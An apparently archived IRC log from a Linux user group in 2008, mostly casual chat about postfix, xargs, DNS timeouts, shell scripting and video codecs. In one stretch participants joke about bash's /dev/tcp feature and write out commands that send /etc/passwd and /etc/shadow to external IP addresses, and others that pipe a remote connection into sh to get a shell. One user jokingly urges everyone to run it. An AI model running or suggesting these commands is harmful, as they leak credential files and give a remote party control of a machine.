| 18:33.30 | fozzmoo | You know... with all those wafflehouses and stuff. |
| 18:34.05 | fozzmoo | Argh... Pass 1: Checking inodes, blocks, and sizes |
| 18:34.13 | vontrapp | fozzmoo: i mean your pidgin signs on and off jabber continuously |
| 18:34.26 | fozzmoo | vontrapp: Oh. |
| 18:34.34 | fozzmoo | Yeah... I've had that problem with jabber.plug.org |
| 18:34.51 | fozzmoo | Usually if I'm signed on from two locations at once. |
| 18:34.57 | fozzmoo | (without knowing it, of course) |
| 18:37.15 | vontrapp | was it resource conflict perhaps? or is jabber.org even pickier? |
| 18:37.21 | rsimpkins | whu? Problem? |
| 18:39.00 | fozzmoo | I dunno. |
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| 18:40.20 | vontrapp | dum dum dum |
| 18:40.41 | tensai | egad! there's another one. |
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| 18:58.51 | atoponce | http://www.psc.edu/networking/projects/hpn-ssh/ |
| 19:01.06 | fozzmoo | atoponce: Wow wow! |
| 19:01.44 | goozbach | multithreaded ssh! |
| 19:01.48 | goozbach | FTW! |
| 19:02.19 | atoponce | dax showed me that link just now. i though i'd share |
| 19:02.26 | atoponce | *thought |
| 19:02.36 | Supaplex | kewl |
| 19:04.54 | atoponce | tensai: this channel will be run by fugals and mcnabbs some day. just you wait |
| 19:10.19 | goozbach | cool command of the day: cat /etc/password > /dev/tcp/166.70.63.211/12345 |
| 19:10.39 | vontrapp | haha |
| 19:11.32 | goozbach | go ahead everyone... run it |
| 19:11.33 | Sargun | lol |
| 19:11.48 | fozzmoo | goozbach: See, that kind of stuff is what Microsoft would say, "Why?" |
| 19:11.55 | Supaplex | bash: /dev/tcp/166.70.63.211/12345: No such file or directory |
| 19:12.05 | fozzmoo | But the fact that it's just that easy is the point. |
| 19:12.14 | fozzmoo | Supaplex: Recompile your kernel. |
| 19:12.22 | Sargun | xbmodder@god ~ $ nc 166.70.63.211 12345 |
| 19:12.23 | Sargun | hey. |
| 19:12.30 | Sargun | fozzmoo, What version? |
| 19:12.35 | Sargun | what kernel option? |
| 19:12.38 | Sargun | nbd? |
| 19:12.41 | goozbach | it's a bash thing |
| 19:12.49 | Sargun | ORLY? |
| 19:12.54 | fozzmoo | bash?! |
| 19:12.57 | goozbach | not a kernl thing |
| 19:13.01 | vontrapp | Sargun: no, it's nc 166.70.63.211 12345 < /etc/passwd |
| 19:13.08 | fozzmoo | bash creates devices? |
| 19:13.15 | goozbach | you are both wrong |
| 19:13.18 | Sargun | WTF, goozbach is right. |
| 19:13.21 | Sargun | scaries. |
| 19:13.29 | Sargun | xbmodder@god ~ $ nc -l -p 12345 |
| 19:13.30 | Sargun | hi |
| 19:13.33 | goozbach | it's nc -l 166.70.63.211 123456 |
| 19:13.34 | Sargun | xbmodder@god ~ $ echo hi > /dev/tcp/127.0.0.1/12345 |
| 19:13.54 | goozbach | it's unfortunate Sargun, that you don't own the host 166.70.63.211 |
| 19:13.55 | fozzmoo | It just sits there. |
| 19:14.07 | goozbach | I don't allow that port inbound |
| 19:14.08 | Sargun | fozzmoo, he isn't actually listening |
| 19:14.11 | fozzmoo | oh. |
| 19:14.18 | goozbach | fozzmoo: I'm being funny |
| 19:14.19 | Supaplex | netbus now for linux ;) |
| 19:14.24 | fozzmoo | So... how does it work? |
| 19:14.24 | Sargun | haha |
| 19:14.30 | goozbach | don't know really |
| 19:14.33 | fozzmoo | heh heh. |
| 19:14.34 | goozbach | I did a loopback |
| 19:14.35 | Sargun | hahaha |
| 19:14.42 | goozbach | and it worked |
| 19:14.50 | goozbach | but it DOES work |
| 19:14.54 | fozzmoo | That's bizarre. |
| 19:14.55 | Sargun | /dev/tcp/69.12.172.152/4351 |
| 19:14.56 | fozzmoo | bash is evil. |
| 19:15.00 | Sargun | goozbach, I know it works, but that's so weird |
| 19:15.26 | Sargun | cat /dev/password /etc/shadow > /dev/tcp/69.12.172.152/4351 |
| 19:15.31 | Sargun | er |
| 19:15.34 | Sargun | cat /etc/password /etc/shadow > /dev/tcp/69.12.172.152/4351 |
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| 19:15.37 | RyanE | too much politics lately. I read that as 'Bush is evil'... and didn't even give it another look. |
| 19:15.48 | Sargun | hmm |
| 19:16.00 | fozzmoo | RyanE: hee hee. |
| 19:16.06 | Sargun | xbmodder@god ~ $ cat /dev/tcp/69.12.172.152/4351 |
| 19:16.06 | Sargun | cat: /dev/tcp/69.12.172.152/4351: No such file or directory |
| 19:16.15 | Sargun | apparently it only works for outgoing traffic |
| 19:16.33 | goozbach | Sargun: you can do inbound if you time it right |
| 19:16.37 | goozbach | methinks |
| 19:16.38 | fozzmoo | Sargun: Try it with redirection. |
| 19:16.49 | fozzmoo | that seems to be the key to activating the dark magics of bash |
| 19:16.52 | Sargun | fozzmoo, Whoa, scary. |
| 19:16.52 | goozbach | cat < /dev/tcp/localhost/123456 |
| 19:17.05 | Sargun | Hmm, now how to shell shovel |
| 19:17.14 | goozbach | man bash, search for redirection |
| 19:17.18 | goozbach | you can also do udp |
| 19:19.52 | Sargun | sh -c "`line < /dev/tcp/69.12.172.152/4351`" |
| 19:20.18 | Sargun | wow... |
| 19:20.53 | atoponce | /exec -o od /dev/urandom /dev/tcp/69.12.172.152/4351 |
| 19:21.03 | Sargun | atoponce, uhhh... |
| 19:21.14 | Sargun | goozbach, Nice., |
| 19:21.20 | Sargun | sh < /dev/tcp/69.12.172.152/4351 |
| 19:21.32 | atoponce | Sargun: what? |
| 19:21.48 | Tadaka | has anyone setup transport maps in postfix to deliver to multiple destination servers before? |
| 19:22.04 | jlp_work | Tadaka: yes |
| 19:22.16 | Tadaka | something like: foo.bar.com smtp:[10.1.1.1,10.1.1.2] |
| 19:22.20 | Supaplex | Tadaka: yes, long time ago. |
| 19:22.28 | jlp_work | that looks right to me |
| 19:22.37 | Tadaka | how'd it work? |
| 19:22.41 | Tadaka | any gotchas? |
| 19:22.50 | jlp_work | I don't recall any problems |
| 19:23.25 | Tadaka | ok cool. moving some servers around and have a bit of a wonky architecture we've been forced into |
| 19:23.35 | Tadaka | thx for the info |
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| 19:47.42 | herlo | any reason I keep getting these message in my mailserver? |
| 19:47.45 | herlo | http://pastebin.ca/902814 |
| 19:48.14 | herlo | I'm filtering most of them now, but it seems I'm still allowign relaying somehow, but can't see how... |
| 19:48.19 | herlo | postfix is my mta |
| 19:54.52 | elg | herlo: are they bounce notifications maybe? |
| 19:56.27 | herlo | elg: could be |
| 19:56.29 | herlo | not sure |
| 19:56.32 | herlo | how can I tell? |
| 19:56.44 | elg | there's got to be a way to look at those messages |
| 19:56.48 | Supaplex | postcat -q |
| 19:56.56 | Supaplex | postcat -q <msgid> |
| 19:57.12 | herlo | Supaplex: tx |
| 19:57.25 | herlo | except I already deleted them, so I'll look next... |
| 19:57.29 | Supaplex | I have a few on my box to, but it looks like someone registered on one of the sites, and didn't confirm their email. |
| 19:57.38 | herlo | but a couple of them were returns from the plans-bounces email |
| 19:57.58 | Supaplex | they get confusing to track down |
| 19:58.41 | Supaplex | you could dig around for the semi unique email addresses or msg ids in the logs, and see if/when it was generated from a previous message. |
| 19:58.59 | herlo | yeah, was hoping there was an easier way |
| 19:59.21 | herlo | maybe I should invent a web interface that relates messages at an admin level, or maybe there is already one somewhere that can do this |
| 19:59.50 | herlo | Supaplex: elg: tx, that will definitely help |
| 20:00.08 | herlo | the number of messages in my queue is much lower nwo than before tho |
| 20:00.52 | goozbach | ok given a list of filenames (null seperated) passed via STDIN, how do I copy one file to each of the list of filenames? |
| 20:01.05 | goozbach | xargs -o cp foo.txt |
| 20:01.11 | goozbach | doesn't seem to do what I want |
| 20:01.29 | goozbach | for example, I have a source file foo.txt |
| 20:02.15 | goozbach | and I want to do something like this: echo -e "file1.txt\000file2.txt\000file3.txt" | xargs -0 cp foo.txt |
| 20:03.03 | goozbach | and have the list of files contain the contents of foo.txt. |
| 20:03.39 | goozbach | the resulting command ends up looking like this: cp foo.txt file1.txt file2.txt file3.txt |
| 20:03.49 | goozbach | and cp fails, becuase file3.txt isn't a directory |
| 20:04.30 | Supaplex | echo -e "file1.txt\000file2.txt\000file3.txt" | xargs -0 -n 1 -P 1 echo | while read f ; do cp "${f}" foo.txt ; done |
| 20:04.59 | Supaplex | actually... |
| 20:05.11 | goozbach | the copy is backwords but I get the idea |
| 20:05.14 | goozbach | while read |
| 20:05.19 | goozbach | does that work? |
| 20:05.22 | Supaplex | echo -e "file1.txt\000file2.txt\000file3.txt" | xargs -0 -n 1 -P 1 cp foo.txt ; done |
| 20:06.07 | Supaplex | echo -e "file1.txt\000file2.txt\000file3.txt" | xargs -0 -n 1 -P 1 cp foo.txt |
| 20:06.09 | goozbach | Supaplex: thanks!! that worked |
| 20:06.12 | Supaplex | you know what I meant :) |
| 20:06.23 | Supaplex | cool |
| 20:06.25 | goozbach | the -n -P trick |
| 20:06.28 | goozbach | thanks!!! |
| 20:08.00 | levi | Sweet, I just got a backpack upgrade. :) |
| 20:08.18 | levi | An Ogio Mastermind. |
| 20:08.32 | tensai | I'd like to upgrade mine with rocket boosters |
| 20:08.41 | RyanE | anti-grav |
| 20:09.45 | tensai | RyanE: yeah I would settle for anti-grav |
| 20:10.10 | RyanE | a little less exciting than rocket boosters, though. |
| 20:10.32 | elg | but more tuxedo-friendly |
| 20:10.46 | elg | w00t, someone's trying to hack my computer |
| 20:11.00 | elg | the ol' try to ssh in with one password on every username trick |
| 20:11.13 | elg | is |
| 20:11.29 | elg | the chance you get a real username, combined with the chance you got the right password in one guess.... infinitessimal |
| 20:12.01 | RyanE | well, if you did the cat /etc/password trick, I'm guessing pretty good. :) |
| 20:12.10 | RyanE | and it's coming from 166.70.somewhere... |
| 20:12.19 | elg | if you're bored enough, you can go through a whole lot of usernames (but not all of the possible ones) |
| 20:12.32 | elg | but there's still the combinatorics with the password |
| 20:12.36 | elg | cat /etc/passwd ? |
| 20:12.41 | elg | they don't have access to my /etc/passwd |
| 20:12.52 | RyanE | yeah, read up-log. |
| 20:12.57 | tensai | elg: on your system it may not work effectively, but I can tell you that it's quite common for people to use their username as their password |
| 20:13.12 | RyanE | 12:10 < goozbach> cool command of the day: cat /etc/password > /dev/tcp/166.70.63.211/12345 |
| 20:13.23 | elg | heh |
| 20:13.35 | elg | tensai: I suppose. low-hanging fruit |
| 20:13.58 | RyanE | I only open SSH by default to work, but can open it with an 'admin' page on my webserver. |
| 20:14.04 | elg | I almost want to block them, but otoh they stand no chance of getting in so it's just a waste of time for whoever's trying, so I ought to let them go as a benefit to society |
| 20:16.38 | Supaplex | iptables -m recent ftw :) |
| 20:17.18 | goozbach | elg: block a random third of their packets... slow em down |
| 20:17.25 | goozbach | kinda like a tarbucket |
| 20:19.52 | tensai | elg: http://www.zmonkey.org/~tensai/ssh-lockout/ |
| 20:19.53 | brac | [Index of /~tensai/ssh-lockout] |
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| 20:21.00 | sjansen | Q: What's your favorite reason to use a while loop in a shell script? |
| 20:21.30 | sjansen | We've been discussing it here at GL, and so far everything we've come up with is better done using a different tool. |
| 20:21.36 | tensai | sjansen: cat foo.txt |while read value; do something ${value}; done |
| 20:21.41 | Supaplex | sjansen: for a cheap excuse to use break/continue |
| 20:21.54 | Supaplex | eg, http://rafb.net/p/7mHXOl74.html |
| 20:22.33 | sjansen | tensai: Good point. |
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| 20:23.02 | tensai | sjansen: that's pretty much my exclusive use of it |
| 20:23.44 | tensai | I use xargs where appropriate, but often I need to do more than one thing with the value. or I'm reading 2 values per line. something like that. |
| 20:24.32 | sjansen | Supaplex: Interesting... |
| 20:25.33 | sjansen | In general, I'm of the opinion that && || should be used in extreme moderation, but sometimes an infinite loop is the cleanest way to write something... |
| 20:25.47 | Supaplex | that .sh was a hairy one-liner minutes ago. |
| 20:27.26 | Supaplex | if the list is empty, it'll run forever. use || break on the last sed, and that problem goes away. |
| 20:27.56 | sjansen | Supaplex: I'd watch out, though, your script could exceed the maximum command length. You should try to rejigger it to use xargs. |
| 20:29.06 | sjansen | foo -bar $(cat baz.txt) <-- Almost always a mistake |
| 20:29.08 | Supaplex | I'll retune it later. it worked for grabbing most of the build-deps for gnash. for some reason this wasn't so tricky on x64 |
| 20:29.14 | Supaplex | *nod* |
| 20:29.34 | levi | In general, I'm of the opinion that if you need to use a loop, you shouldn't be using a sh-derivative. |
| 20:29.47 | Supaplex | I like tensai use 'while read' or xargs when available. |
| 20:29.55 | levi | Total pieces of garbage as programming languages. |
| 20:30.07 | Supaplex | + usually |
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| 20:30.43 | sjansen | levi: I have to disagree. For problems requiring less that a couple hundred lines and the invocation of a lot of command line programs, sh is effective. |
| 20:31.27 | tensai | I generally start in sh and switch to perl if it starts getting complicated, or if I need to do math |
| 20:31.32 | sjansen | If I'm doing a lot of data processing, I'll use a real language. If I'm doing a lot of automation, I'll use shell. |
| 20:32.00 | goozbach | I usually factor up my code in sh and make, then when I have a proof of concept, I port it to something more flexible (eg perl) |
| 20:32.02 | tensai | sh and perl have such similar syntaxes that "upgrading" to perl is simple |
| 20:32.06 | levi | sjansen: If I had to do something like that, I'd use scsh. The number of times I actually have to do something like that are miniscule. |
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| 20:32.13 | Supaplex | I dislike using perl to run external stuff |
| 20:32.53 | sjansen | If scsh weren't so niche, it might be a good choice. But it is so it isn't. |
| 20:33.02 | Sargun | ~date |
| 20:33.03 | ibot | It is now 2008.02.13 20:33:03 GMT |
| 20:33.04 | Sargun | ~time |
| 20:33.04 | ibot | from memory, time is 1 dimensional, or everlasting, an illusion, or 2008.02.13 20:33:04 GMT |
| 20:33.08 | levi | sjansen: I'm not suggesting that scsh is the ideal tool for everyone, but that doesn't make sh suck any less. |
| 20:34.06 | levi | sjansen: It's simply an existence proof that you can create a reasonable scripting language for unix. |
| 20:38.20 | levi | The only other language relic we have kicking around from the early unix days is C, which people also seem to be loathe to accept a reasonable replacement for. |
| 20:38.48 | levi | Except for the guys who actually created it, of course. |
| 20:39.03 | levi | The Unix world is so screwed up. |
| 20:39.16 | Jayce^ | wow, I really need to get rid of some books |
| 20:39.41 | Jayce^ | one shelf made up three good boxes of books... |
| 20:39.58 | Jayce^ | that was just the linux + databases shelf |
| 20:40.03 | levi | I don't see how that implies a need to get rid of some. ;) |
| 20:40.17 | Jayce^ | because I gotta move them.... |
| 20:40.40 | levi | Just get a dolly or something. |
| 20:41.59 | dataw0lf | levi: I just started playing with D, it's pretty nice. |
| 20:42.27 | levi | dataw0lf: Yeah, I kind of like it. Better than C and C++, anyway. |
| 20:42.54 | dataw0lf | very true. |
| 20:44.28 | tensai | Jayce^: I know what you should do. move into your grandma's cabin and become a hillbilly. |
| 20:44.46 | tensai | s/become a/become more of a/ |
| 20:47.07 | Jayce^ | tensai, if my wife didn't mind so much..... |
| 20:50.13 | tensai | I often muse about whether I could give up computers and live in the woods. I really think I could. |
| 20:50.23 | tensai | whether I could survive or not is a different question |
| 20:50.31 | sjansen | So long as it were eternal spring. |
| 20:51.45 | atoponce | how can i shorten the timout length for networks? EG: i'm querying the first nameserver in /etc/hosts, but it's down, and can't be reached, so it times out until hitting the second |
| 20:52.18 | sjansen | atoponce: Have you poked around /proc/sys/net/ipv4 yet? |
| 20:52.38 | atoponce | no. i take it i might find it in there? |
| 20:54.12 | sjansen | General TCP/IP timeouts, certainly. DNS specific? No. |
| 20:54.57 | sjansen | Most applications use libc for DNS resolution, so you should also check documentation on it. |
| 20:55.38 | sjansen | BTW, I think you mean /etc/resolv.conf not /etc/hosts |
| 20:55.45 | atoponce | yes. i do. thx |
| 20:55.59 | atoponce | also, i mean general network timeouts, not dns specific |
| 20:58.42 | tensai | atoponce: can you remove the offending host from resolv.conf? or move it to the bottom? |
| 20:58.57 | goozbach | is there anything in nsswitch.conf that deals with that |
| 20:58.58 | goozbach | ? |
| 20:59.10 | atoponce | sure. but what i'm interested in right now is network timeouts |
| 20:59.43 | atoponce | goozbach: not that i'm aware of |
| 21:01.03 | JoshH | you can change the timeout to try other nameservers in resolv.conf |
| 21:01.05 | atoponce | the idea is, that if my network dns server went down, and it's first on the workstation /etc/resolv.conf, i don't want the timeout to be longer than a second, before querying the 2nd |
| 21:01.15 | atoponce | JoshH: how? that's what i'm after |
| 21:01.33 | sjansen | Well lookey there, man resolv.conf |
| 21:01.52 | sjansen | <PROTECTED> |
| 21:01.52 | sjansen | <PROTECTED> |
| 21:01.53 | sjansen | <PROTECTED> |
| 21:01.53 | sjansen | <PROTECTED> |
| 21:01.53 | sjansen | <PROTECTED> |
| 21:02.14 | atoponce | see it |
| 21:03.07 | jsmith | sjansen: Yeah right... |
| 21:03.15 | jsmith | sjansen: If you find it though, let me know |
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| 21:04.26 | atoponce | hmm. even though i set 'options timeout:1', for example, in my resolv.conf, it still takes 10 sec before timing out. what am i missing? /etc/nsswitch.conf has just 'files' listed, and not 'files dns' |
| 21:05.17 | sjansen | /etc/resolv.conf isn't going to be processed if you don't have dns in nsswitch.conf |
| 21:05.45 | elg | -chat you guys |
| 21:05.45 | brac | you guys are never expected it to default config) then reconfigure the main deflector array *does* exactly but it will be 99% incoming calls |
| 21:05.55 | atoponce | gah |
| 21:06.03 | atoponce | i'm getting that mixed up with /etc/hosts |
| 21:06.08 | elg | the main deflector array handles incoming calls! I knew it was good for something! |
| 21:06.18 | elg | ~distract atoponce |
| 21:06.19 | ibot | ACTION puts on a brunet wig and saunters past atoponce with a cold beer in her hand. "Hello, sailor! Wanna go for a ride?" |
| 21:06.25 | atoponce | at any event, it's still taking 10s |
| 21:07.08 | sjansen | atoponce: Don't go. It's a trick. She's just going to beat you, tie you to a street lamp, and steal your change. |
| 21:07.13 | sjansen | Or so I hear.... |
| 21:07.42 | atoponce | sjansen: had a bad experience, eh? |
| 21:08.11 | RyanE | to sjansen, that's a *good* experience. :P |
| 21:08.36 | levi | elg: Man, you haven't watched much Star Trek. You can do *anything* by reconfiguring the main deflector array. |
| 21:08.59 | jsmith | Except actually deflect incoming torpedoes |
| 21:09.26 | levi | jsmith: That's just because there's always someone onboard sending the deflector frequencies to the bad guys. |
| 21:09.28 | sjansen | I thought the deflector array was for warping space. |
| 21:10.02 | jsmith | sjansen: I always thought it was for getting satellite TV, since they don't have cable in the neighborhood |
| 21:10.04 | levi | sjansen: Duh, that's what the warp field generators are for! |
| 21:10.25 | unum | sure what's the worse that could happen |
| 21:10.36 | unum | bad guys always gun for the leaders right? |
| 21:10.47 | RyanE | as long as the leaders are wearing red shirts, yes. |
| 21:10.49 | atoponce | who's the leader? |
| 21:11.01 | sjansen | Lt. Checkov |
| 21:11.01 | RyanE | scotty's even been killed, when he was wearing red. |
| 21:11.08 | goozbach | Captian Kirk duh |
| 21:11.17 | atoponce | picard > kirk |
| 21:11.24 | atoponce | discuss. |
| 21:11.34 | unum | agreed |
| 21:11.44 | jsmith | archer > kirk |
| 21:11.47 | jsmith | discuss. |
| 21:11.48 | sjansen | So I heard atoponce was a lumberjack, and that's okay. |
| 21:12.01 | jsmith | He sleeps all night and he works all day? |
| 21:12.04 | atoponce | i do sleep all ... |
| 21:12.10 | unum | I don't think I've ever made it through a full episode of anything except ng |
| 21:12.10 | atoponce | lame |
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| 21:13.13 | sjansen | You can't talk about my friend redbeard2 that way! I won't have it. |
| 21:13.34 | atoponce | sjansen: you can affiliate with him any longer. you're clean shaven |
| 21:14.07 | unum | hmmm nothing about star trek on limerickdb |
| 21:14.12 | unum | I can't believe that |
| 21:15.00 | atoponce | it does only have 360 in the db... |
| 21:15.05 | unum | that's true |
| 21:15.20 | unum | maybe we need to add some :) |
| 21:15.40 | Jayce^ | so tensai you not driving down for plug? |
| 21:16.07 | tensai | Jayce^: not this time. too many people out of town this week for me to take off the time. |
| 21:16.12 | Jayce^ | feh |
| 21:16.20 | fozzmoo | That's tonight, isn't it? |
| 21:16.27 | Jayce^ | :) |
| 21:17.21 | sontek | Python User Group is tonight =) |
| 21:17.24 | sontek | lasers! |
| 21:17.54 | redbeard2 | well shoot, if tensai's not going to plug, why should i go? |
| 21:17.56 | tensai | Jayce^: sonjay from pune said he'll be there for the meeting |
| 21:17.57 | elg | with sharks? |
| 21:17.59 | atoponce | http://limerickdb.com/?282 |
| 21:18.35 | Jayce^ | ~shave redbeard2 |
| 21:18.36 | ibot | ACTION grabs the razor & shaving cream & chases redbeard2 until he sees TheRedBaron... then grabs TheRedbaron & dry shaves TheRedBaron from head to toe! |
| 21:18.46 | Jayce^ | ?? |
| 21:18.54 | elg | but what does he do with the shaving cream? |
| 21:19.31 | goozbach | elg: it's better if you don't know |
| 21:19.42 | findlay | mrpull: so, are you going to make it tonight? |
| 21:20.02 | mrpull | probably not. :-/ |
| 21:20.11 | mrpull | I'd like to, but may not be able to swing it. |
| 21:20.31 | mrpull | the old model m may have to stay in the dusty basement one more month |
| 21:20.45 | fozzmoo | Sheeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaassssshssghghghghghhhh |
| 21:20.58 | elg | ~burb fozzmoo |
| 21:21.01 | fozzmoo | I just ran some statistics on the Iodynamics mail server. |
| 21:21.06 | findlay | ~literal cmd: shave (.*?) |
| 21:21.07 | ibot | "cmd: shave (.*?)" is "($1): <action> grabs the razor & shaving cream & chases $1 until he sees TheRedBaron... then grabs TheRedbaron & dry shaves TheRedBaron from head to toe!" |
| 21:21.14 | fozzmoo | 4.3% of the incoming e-mail received is not spam. |
| 21:21.18 | findlay | heh, hardcoded |
| 21:22.04 | fozzmoo | 61.4% is blocked because the relay is on a blacklist (a la spamcop) |
| 21:22.08 | levi | fozzmoo: You just need to reconfigure the main deflector array to emit a phased polaron burst tuned to the frequency of the spam. That'll wipe it right out. |
| 21:22.25 | fozzmoo | 34.3% is blocked because SpamAssassin says so. |
| 21:22.50 | findlay | levi: more properly, it will suck it into a subspace protoplasma |
| 21:22.51 | fozzmoo | levi: Thanks Geordi. |
| 21:23.48 | findlay | ~kill spam |
| 21:23.49 | ibot | ACTION shoots a charged pseudoproton gun at spam |
| 21:27.29 | findlay | ~date |
| 21:27.30 | ibot | It is now 2008.02.13 21:27:30 GMT |
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| 21:50.55 | sjansen | almost |
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| 21:51.43 | sjansen | That's the sort of thing vontrapp would say. |
| 21:51.44 | elg | the class is an achieveable challenge for nonmajors, but should be a cakewalk for a CS grad student |
| 21:51.56 | elg | i suppose there's a reason they're looking to bring their gpa up |
| 21:52.06 | vontrapp | what would i say? |
| 21:52.15 | elg | flrup |
| 21:52.26 | vontrapp | flrup |
| 21:52.26 | sjansen | What? Oh, hi, vontrapp. |
| 21:52.29 | vontrapp | yep, you're right |
| 21:59.55 | unum | elg: what are they majoring in such that they would take a class meant for a graduate level cs student |
| 22:00.16 | elg | unum: the class is cs 167. C programming for nonmajors |
| 22:00.35 | elg | undergraduate nonmajors |
| 22:01.10 | elg | also listed as cs 467, essentially for cs grad students to make up deficiency |
| 22:01.35 | elg | although they said they are taking it to boost gpa not meet deficiency, but that just means they squeezed through the deficiency screening process :) |
| 22:02.39 | sjansen | A CS grad. student challenged by introductory C should be ashamed of him/herself and/or his/her undergraduate professors. |
| 22:02.49 | elg | yup |
| 22:03.12 | sjansen | Unless they majored and philosophy as an undergrad before seeing the error of their ways. |
| 22:03.24 | elg | yeah i don't know what their undergrad was |
| 22:04.12 | levi | You know, I understand the desire for descriptive identifiers, but 39 characters is a bit over the top. |
| 22:04.41 | Keighvin | ObviouslyYouDoNotProgramInJavaVeryMuchTheseDays |
| 22:05.06 | levi | Keighvin: This is a (very poor) low-level protocol implementation in C. |
| 22:05.25 | Keighvin | In C? Good grief, that's overkill. |
| 22:05.41 | levi | No kidding. |
| 22:06.02 | levi | Probably half of this file is commented out lines of code. |
| 22:06.20 | Keighvin | It's overkill in pretty much any language, but C especailly, which has a historical and cultural precedent toward tight (if not terse) code. |
| 22:06.22 | elg | awesome. those are the best. they make it run faster |
| 22:07.58 | vontrapp | sjansen: i noticed you clocked your cpu with that little cpu applet at the meeting thu. |
| 22:08.08 | vontrapp | i have the same applet, but it doesn't let me set the speed |
| 22:09.44 | levi | Oh, this code also creates and tears down a network socket whenever it needs to send or receive a packet. |
| 22:11.00 | elg | levi: that's fun |
| 22:11.36 | levi | Which it is supposed to do about every 100ms. |
| 22:12.40 | levi | The code has extremely verbose identifiers and has about 3x or more whitespace than it needs. |
| 22:12.57 | Supaplex | sjansen: I got it working a lot better. http://riddle.daxal.com/~supaplex/etch-backports/best-effort_build-dep |
| 22:13.04 | Keighvin | Does it abstract it to a separate function and simply bury that, or does it actually instantiate it every time explicitly? |
| 22:13.08 | levi | Simple functions are spread across multiple pages of my full-screen (20") terminal. |
| 22:14.07 | levi | Keighvin: There's a function to transmit a packet and a function to receive a packet. Both of them set up a socket, select on it with a timeout, and then tear it down. |
| 22:16.55 | levi | So, this one function has 12 lines that actually do something. It's spread across 43 lines. |
| 22:18.07 | herlo | Jayce^: ping |
| 22:18.12 | Jayce^ | pong |
| 22:19.08 | sjansen | vontrapp: *shrug* It just works on of the box in Fedora. (As long as I have the right kernel.) |
| 22:20.00 | herlo | sjansen: what's the applet? |
| 22:22.28 | sjansen | cpufreq |
| 22:22.37 | herlo | sjansen: tx |
| 22:22.48 | herlo | sjansen: is that the rpm too? |
| 22:25.01 | unum | so what are peoples experience with streaming video? |
| 22:25.09 | unum | we've been using flow player |
| 22:25.20 | unum | we even tried adobe's player |
| 22:25.27 | jsmith | unum: Learn to use flumotion, and all the power that gstreamer brings |
| 22:25.30 | unum | and we just used the flv file directly once |
| 22:25.41 | unum | jsmith: is that for the web |
| 22:25.48 | sjansen | herlo: gnome-applets |
| 22:25.55 | unum | as in I'm hosting the video |
| 22:26.11 | herlo | sjansen: tx again |
| 22:26.24 | unum | I figured flash would be great because everyone uses utube |
| 22:26.34 | unum | but we've had a lot of people saying they can't see it |
| 22:26.43 | jsmith | flash stinks |
| 22:26.58 | herlo | unum: I'd suggest ogg/theora |
| 22:27.12 | unum | herlo: I want people to be able to watch these |
| 22:27.14 | herlo | and icecast, trick is there are very few good streaming video players |
| 22:27.25 | herlo | unum: many people can watch ogg/theora videos |
| 22:27.32 | herlo | its just an ogg container |
| 22:27.38 | unum | herlo: you mean 1% |
| 22:27.43 | herlo | and they can be embedded |
| 22:27.51 | unum | I admit 1% of internet user is a lot of people |
| 22:27.54 | herlo | unum: no, more like everyone who uses a web browser |
| 22:28.03 | herlo | just needs to be more used... |
| 22:28.11 | unum | how do you embed the player? |
| 22:28.15 | herlo | unum: if you don't start with it, it will never grow |
| 22:28.21 | herlo | unum: with the <embed> tag |
| 22:28.35 | unum | uuuuh..... |
| 22:28.39 | herlo | its true |
| 22:29.43 | herlo | http://tinyurl.com/3ow2e |
| 22:29.45 | brac | [HTML EMBED - HTML Code Tutorial] |
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| 22:31.12 | unum | but then the user will still have to install the plugin.... |
| 22:31.47 | unum | if this was for personal use I would definetly do it |
| 22:32.08 | herlo | unum: what do you think flash is? |
| 22:32.15 | herlo | its not built into ff |
| 22:32.20 | herlo | its a plugin |
| 22:32.52 | unum | ya but 95% of people already have it installed |
| 22:33.07 | unum | so they won't need to install anything new in the middle of my cgi script |
| 22:33.08 | herlo | unum: only because its easier |
| 22:33.22 | unum | I doubt that |
| 22:33.27 | herlo | unum: in FF, you can just play ogg/theora iirc |
| 22:33.30 | unum | only because utube uses it |
| 22:33.50 | herlo | unum: you doubt that installing flash is easier? |
| 22:34.09 | herlo | or you doubt that its already there |
| 22:34.45 | herlo | unum: another thought is that you could set up to detect the browser and play theora/flash for ff/opera/epiphany users and flash for ie users |
| 22:34.54 | herlo | just a thought |
| 22:35.16 | sjansen | IE8.js++++++++++++++++++++++++++++++++++++++++++++++ |
| 22:35.43 | unum | herlo: I doubt that it's easier |
| 22:36.12 | unum | why go to the extra work when flash SHOULD work most of the time |
| 22:36.22 | Supaplex | my bad. my last url was 403. fixed. |
| 22:36.30 | herlo | unum: because flash bites |
| 22:36.46 | herlo | unum: because ogg/theora is better, and because its open |
| 22:37.07 | nick125 | Ewwwwwwww |
| 22:37.13 | nick125 | Flash :( |
| 22:37.19 | nick125 | Anything but flash! |
| 22:37.19 | herlo | unum: also, flash is usually less optimized and the audio and video while okay, are usually poorly structured |
| 22:37.28 | tensai | my sister was bitten by a flash once |
| 22:37.40 | nick125 | I've always had problems with flash. |
| 22:37.49 | unum | well I rather use ogg/theora but as always you have to convince the person paying $$$$$ that the principle it worth the cost |
| 22:37.49 | herlo | Supaplex: yeah, but then he provides it in flash and you are playing with the free version is all |
| 22:37.51 | sjansen | The only thing going for ogg/theora is that it based on open, unencumbered codes. Quality _is not_ good. Support _is not_ widespread. |
| 22:37.58 | unum | I can't afford to make up the difference in this case |
| 22:38.01 | nick125 | To the point where it is easier to watch youtube on my Treo. |
| 22:38.02 | sjansen | s/codes/codecs/ |
| 22:38.05 | beandog | sjansen is right. |
| 22:38.07 | herlo | sjansen: quality *is* better |
| 22:38.17 | herlo | but codec needs more support, that is true |
| 22:38.18 | beandog | well, about the support at least. |
| 22:38.20 | beandog | I dunno about quality. |
| 22:38.21 | herlo | whcih is why I am arguing |
| 22:38.30 | beandog | theora is still in alpha status |
| 22:38.32 | beandog | so don't whine. |
| 22:38.33 | herlo | that unum use it |
| 22:38.33 | beandog | :) |
| 22:38.36 | herlo | hehe |
| 22:38.47 | herlo | beandog: I'm just trying to get a larger support base |
| 22:38.59 | herlo | and theora is closer to beta than alpha in my opnion |
| 22:39.08 | beandog | mpeg1 video + mpeg2 audio .... that's where its at, baby |
| 22:39.23 | unum | I don't think beta stuff is a good idea either |
| 22:39.55 | nick125 | <Comment made without reading the conversation> Why not offer multiple codecs? WMV for the Windows users, QT for the du^H^Hmac users, and OGG/Theora for the rest of the world. |
| 22:40.01 | herlo | unum: then you don't use google do you? |
| 22:40.09 | unum | don't see it working so well.... |
| 22:40.23 | unum | herlo: what do you mean? |
| 22:40.30 | herlo | nick125: that was my suggestion at the beginning |
